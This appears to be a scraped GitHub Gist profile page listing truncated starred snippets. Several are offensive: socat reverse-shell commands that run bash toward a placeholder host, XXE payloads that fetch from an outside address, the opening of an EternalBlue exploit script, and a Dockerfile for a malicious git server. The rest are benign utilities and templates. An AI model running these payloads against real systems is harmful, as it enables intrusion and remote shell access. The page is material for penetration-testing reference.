Skip to content

Instantly share code, notes, and snippets.

View 0p71mu5's full-sized avatar

Shomi Nanwani 0p71mu5

View GitHub Profile
@staaldraad
staaldraad / Dockerfile
Created September 4, 2018 16:13
Dockerfile to get a malicious git Repository up and running
FROM ubuntu:16.04
RUN apt update ; \
apt install -y git apache2
RUN mkdir /srv/git
COPY git-http.conf .
RUN cat git-http.conf >> /etc/apache2/apache2.conf
# Listener on x.x.x.x:443:
socat file:`tty`,raw,echo=0 tcp-listen:443
# Reverse shell proxy server is at 10.10.10.1:8222:
socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 &
socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x"
@staaldraad
staaldraad / awk_netstat.sh
Last active April 3, 2024 07:01
AWK to get details from /proc/net/tcp and /proc/net/udp when netstat and lsof are not available
# Gawk version
# Remote
grep -v "rem_address" /proc/net/tcp | awk '{x=strtonum("0x"substr($3,index($3,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($3,i,2))}{print x":"strtonum("0x"substr($3,index($3,":")+1,4))}'
# Local
grep -v "rem_address" /proc/net/tcp | awk '{x=strtonum("0x"substr($2,index($2,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($2,i,2))}{print x":"strtonum("0x"substr($2,index($2,":")+1,4))}'
# No Gawk
# Local
grep -v "rem_address" /proc/net/tcp | awk 'function hextodec(str,ret,n,i,k,c){
@worawit
worawit / eternalblue8_exploit.py
Last active March 16, 2024 18:38
Eternalblue exploit for Windows 8/2012
#!/usr/bin/python
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
from impacket import smb, ntlm
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
@bradmontgomery
bradmontgomery / sample_logging.py
Created March 3, 2017 22:10
quick & dirty example of logging in a single module. You could do similar things across all modules.
import logging
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.DEBUG, filename="temp.log")
# ^^^ the filename param says print all log in a specified file.
def main():
logger.info("Getting Started")
@molcay
molcay / create_ap.md
Last active November 29, 2019 06:40
The basic installation script with dependencies for 'create_ap'

Install create_ap

Basic installation script for create_ap

Usage (Script):

  1. Save the install_create_ap.sh file in your system (for example /home folder).
  • Give the execute permission to the file:
    • chmod +x install_create_ap.sh
  • Run the script:
  • ./install_create_ap.sh
@PurpleBooth
PurpleBooth / README-Template.md
Last active May 3, 2024 18:53
A template to make good README.md

Project Title

One Paragraph of project description goes here

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites

@staaldraad
staaldraad / XXE_payloads
Last active April 29, 2024 14:27
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@pichuang
pichuang / sources.list
Last active April 9, 2024 03:07
Kali Linux source.list /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free
#deb http://kali.cs.nctu.edu.tw/kali kali-rolling main non-free contrib
@eaorak
eaorak / sss.py
Created October 11, 2012 07:38
Python - Screen Saver "Saver" Script
#!/usr/bin/python
# This script prevents screen saver get activated by moving mouse periodically.
# EAO-09.2012
import win32api, time
print "Die screensaver !"
dif=1
exc=False
while True:
try: